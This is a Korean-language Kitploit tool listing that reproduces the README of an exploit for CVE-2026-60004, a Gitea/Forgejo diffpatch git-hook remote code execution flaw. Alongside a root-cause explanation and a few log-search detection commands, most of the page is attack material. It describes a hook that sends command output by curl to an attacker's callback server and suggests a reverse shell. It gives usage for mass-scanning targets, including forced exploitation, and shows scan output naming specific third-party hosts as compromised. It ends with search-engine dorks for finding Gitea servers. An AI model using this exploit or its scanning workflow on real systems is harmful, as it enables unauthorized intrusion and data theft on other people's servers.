Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-60004 — CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change 훅 주입. CVSS 9.8 | CWE-94 | Gitea < 1.27.1 | Kitploit
도구/GitHubGitHub/shinthink/cve-2026-60004
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationData ExfiltrationPenetration TestingRed Teaming
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change 훅 주입. CVSS 9.8 | CWE-94 | Gitea < 1.27.1

저장소 보기
301개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-60004 — Gitea Diffpatch Git Hook RCE

Bare Clone 훅 주입 → post-index-change → 임의 명령 실행


개요

CVE-2026-60004는 Gitea 및 Forgejo 자체 호스팅 Git 플랫폼의 버전 1.17부터 1.27.0까지 영향을 주는 치명적 심각도(CVSS 9.8)의 사전 인증(pre-authentication) 원격 코드 실행 취약점입니다.

이 취약점은 POST /api/v1/repos/{owner}/{repo}/diffpatch API 엔드포인트의 bare 클론 설계 결함을 악용합니다. Gitea는 사용자가 제공한 패치를 bare 임시 클론(리포지토리 루트가 곧 $GIT_DIR인 환경)에 적용합니다. 공격자는 동일한 악성 패치를 두 번 제출하여 add/add 충돌을 유발하고, Git의 3-way 병합 폴백(-3, Git 2.32+)이 실행 가능한 post-index-change 훅을 $GIT_DIR/hooks/에 직접 기록하도록 합니다. Git은 인덱스 업데이트 중 이 훅을 자동으로 실행하므로 Gitea 서비스 계정 권한으로 임의 명령 실행이 발생합니다.

리포지토리 쓰기 권한이 필요하며, Gitea가 이메일 인증, 관리자 승인, 리포지토리 생성 제한 없이 공개 가입을 기본값으로 하므로 쉽게 얻을 수 있습니다.

영향을 받는 버전

버전상태
< 1.17영향 없음(diffpatch 경로가 아직 도입되지 않음)
1.17 — 1.27.0취약
1.27.1+패치됨

발견자: Shai Rod (NightRang3r), 2026년 7월 28일 프로젝트: Gitea / Forgejo (자체 호스팅 Git 서비스) 구성 요소: diffpatch API 엔드포인트, bare 임시 클론


취약점 메커니즘

근본 원인

이 취약점은 services/repository/files/patch.go의 단일 매개변수에서 비롯됩니다:

// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

bare 클론에는 작업 트리가 없습니다. 즉, 리포지토리 루트가 곧 $GIT_DIR입니다. 따라서 파일 경로가 hooks/post-index-change인 악성 패치는 샌드박스 처리된 작업 트리가 아닌 Git의 실제 훅 디렉터리 안에 직접 위치하게 됩니다.

git apply 호출이 여기에 더해집니다:

// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

동작 원리

  1. bare 클론은 샌드박스를 제공하지 않습니다 — 임시 클론의 루트가 $GIT_DIR이므로 hooks/post-index-change 경로가 실제 훅 디렉터리에 매핑됩니다.
  2. --cached는 완전하지 않습니다 — Git 2.32+의 -3 3-way 폴백은 --cached 플래그에도 불구하고 add/add 충돌 시 병합 결과를 작업 트리에 기록합니다.
  3. 이중 제출이 충돌을 유발합니다 — 첫 번째 apply가 훅을 인덱스에 추가합니다. 두 번째 apply는 add/add 충돌을 만들고, 3-way 병합이 파일을 디스크에 기록하며, Git이 이를 실행합니다.
  4. Git은 post-index-change를 자동 실행합니다 — 인덱스 업데이트 후 Git은 이 훅이 존재하고 실행 가능하면 무조건 실행합니다. 별도 설정이 필요 없습니다.
  5. 훅 명령은 인덱스를 수정할 수 없습니다 — git apply가 인덱스 잠금을 보유하고 있으므로 훅 내부의 git update-index는 교착 상태(deadlock)에 빠집니다. 출력 유출에는 HTTP 콜백(curl)이나 리버스 셸을 사용하세요.

공격 흐름

1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

검증된 소스 코드 참조

파일라인목적
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true) — bare 클론 생성
services/repository/files/patch.go206-209--index --cached -3 플래그를 사용한 git apply
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push() — 공격자 상태 유지
services/repository/files/cherry_pick.go~170CherryPick의 동일한 bare-clone 패턴(함께 패치됨)

서버 로그 탐지

# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

핵심 설계 결함

bare 클론과 non-bare 클론의 차이 — 단일 불리언 매개변수 — 는 패치 경로가 무해한 작업 트리 항목이 될지, 아니면 Git 내부 디렉터리에 직접 위치하는 실행 가능한 훅이 될지를 결정합니다. 수정은 diff에서 정확히 한 문자(true → false)만 변경하는데, 이것이 커밋이 SECURITY가 아닌 MISC 아래 "refactor: git patch apply"로 분류된 이유입니다. 인덱스(--cached)로 샌드박싱되어야 했던 작업은 Git 자체의 3-way 병합 메커니즘에 의해 조용히 무너졌고, bare 클론의 $GIT_DIR에 훅 파일이 생성되는 것을 막는 추가적인 보호 장치는 없었습니다.


설치

git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

사용법

# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

인자

  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

개념 증명

단일 대상

$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Host        : gitea.example.com
  Version     : 1.22.0
  Vuln (< 1.27.1) : YES
  RCE         : CONFIRMED
  Detection   : timing Δ 8.0s (hook sleep 4s)
  User        : poc_a1b2c3
  Time        : 9.5s

대량 스캔

$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Targets: 259  |  Threads: 20

  [RCE] gitea.idetama.id              Δ8.7s (hook sleep 4s)
  [RCE] gitea.roan.id.au              Δ8.7s (hook sleep 4s)
  [DET] git.ofon.id                   | ⠼ [████░░░░░░░░░░░] 86/259 (33%)  Det:76  RCE:2

  ───────────────────────────────────────────────────────
  SCAN SUMMARY
  ───────────────────────────────────────────────────────
  Total           : 259
  RCE Confirmed   : 12
  Hook Failed     : 5
  Patched         : 25
  Errors          : 151
     Register fail : 85
     Login fail    : 42
     Repo fail     : 24
  Not Gitea       : 66
  ───────────────────────────────────────────────────────
  Detection method: timing
  Done | 77s

콜백 출력(대상별 자동 저장)

callback-data/
├── index.txt
├── gitea.idetama.id/
│   ├── output_2026-08-03_120000.txt
│   └── latest.txt
├── gitea.roan.id.au/
│   └── ...

FOFA / Shodan

FOFA:   title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"

영향

도구 다운로드